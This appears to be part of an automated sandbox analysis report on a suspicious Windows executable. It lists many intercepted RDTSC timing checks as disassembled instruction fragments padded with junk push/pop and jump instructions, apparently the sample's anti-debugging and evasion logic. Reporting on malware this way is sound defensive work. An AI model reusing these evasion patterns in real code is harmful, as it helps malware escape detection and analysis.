Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F11B42 second address: F11B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jc 00007F473118FE56h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F11B50 second address: F11B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1221E second address: F12224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F12224 second address: F12229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F12229 second address: F1222F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1222F second address: F12235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F12235 second address: F12279 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F473118FE56h 0x00000008 jnl 00007F473118FE56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F473118FE67h 0x0000001b jmp 00007F473118FE5Dh 0x00000020 popad 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 pop edx 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F12A08 second address: F12A25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F47311907AAh 0x0000000c pop edx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1A1EE second address: F1A1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F473118FE56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1A1FF second address: F1A203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1A203 second address: F1A225 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F473118FE56h 0x00000008 jmp 00007F473118FE5Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F473118FE56h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F279CA second address: F279D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F47311907A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F279D9 second address: F279DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F279DD second address: F279E7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F279E7 second address: F279EC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F279EC second address: F279F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F27BB3 second address: F27BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A555 second address: F2A575 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F47311907A6h 0x00000008 jmp 00007F47311907B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A575 second address: F2A57F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A57F second address: F2A583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A583 second address: F2A5A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F473118FE60h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A5A9 second address: F2A5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F47311907A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A5B4 second address: F2A5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F2A6E7 second address: F2A6EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F30FD7 second address: F30FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F473118FE5Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3426E second address: F3427F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jnc 00007F47311907AAh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3A764 second address: F3A777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3A777 second address: F3A794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F47311907B0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3BF9E second address: F3BFA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3EB72 second address: F3EB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F3EB76 second address: F3EB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F47419 second address: F4741D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4741D second address: F4742D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F473118FE56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4742D second address: F47433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F47433 second address: F47437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F47437 second address: F4743D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4743D second address: F47442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F460E9 second address: F460F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F460F6 second address: F46100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F473118FE56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F46100 second address: F4610A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F463F8 second address: F46405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F473118FE56h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F46405 second address: F46411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F47311907A6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F46411 second address: F4641B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F473118FE56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F465C3 second address: F465C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F465C9 second address: F465CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F465CF second address: F465D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F465D3 second address: F4661F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F473118FE67h 0x0000000e jmp 00007F473118FE5Fh 0x00000013 push esi 0x00000014 jo 00007F473118FE56h 0x0000001a jmp 00007F473118FE62h 0x0000001f pop esi 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4D8B6 second address: F4D8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4D8BC second address: F4D8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4D8C0 second address: F4D8CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F47311907A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4D8CA second address: F4D8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F473118FE64h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F4D8E9 second address: F4D8FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F47311907A6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F5DB9E second address: F5DBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F473118FE56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F5DBAD second address: F5DBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F5DA2D second address: F5DA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F574E3 second address: F574F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F83DF5 second address: F83DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F84194 second address: F841AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B5h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F841AD second address: F841B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F86574 second address: F8657E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F47311907A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8657E second address: F86584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F86584 second address: F86599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F86599 second address: F865C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F473118FE60h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F865C3 second address: F865D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F88E3F second address: F88E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F890EB second address: F890F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F47311907A6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89380 second address: F89420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F473118FE65h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F473118FE58h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push dword ptr [ebp+122D2EEDh] 0x0000002d jns 00007F473118FE6Ch 0x00000033 jmp 00007F473118FE69h 0x00000038 call 00007F473118FE59h 0x0000003d push eax 0x0000003e push edx 0x0000003f js 00007F473118FE69h 0x00000045 jmp 00007F473118FE63h 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89420 second address: F89426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89426 second address: F8942A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8942A second address: F8942E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8942E second address: F8945C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jp 00007F473118FE58h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F473118FE5Fh 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8945C second address: F89463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89463 second address: F89472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89472 second address: F89476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F89476 second address: F89491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E57C60 second address: E57C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E57C66 second address: E57C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F473118FE56h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F473118FE56h 0x00000012 jmp 00007F473118FE64h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E57C8E second address: E57CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907B4h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8AA80 second address: F8AA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8AA86 second address: F8AA8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8CAE7 second address: F8CB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F473118FE61h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8CB01 second address: F8CB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F8CB05 second address: F8CB1B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F473118FE56h 0x00000008 ja 00007F473118FE56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0EED second address: 50E0F37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 506AA813h 0x00000010 jmp 00007F47311907B8h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F47311907ABh 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0F37 second address: 50E0F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 mov eax, edx 0x00000008 pop edi 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F473118FE61h 0x00000013 or cx, 1EE6h 0x00000018 jmp 00007F473118FE61h 0x0000001d popfd 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F473118FE5Dh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0DF5 second address: 50D0DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0DFB second address: 50D0E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F473118FE60h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ecx, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 movsx edx, cx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D0E27 second address: 50D0E7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F47311907B0h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F47311907ADh 0x0000001b or eax, 644C2656h 0x00000021 jmp 00007F47311907B1h 0x00000026 popfd 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
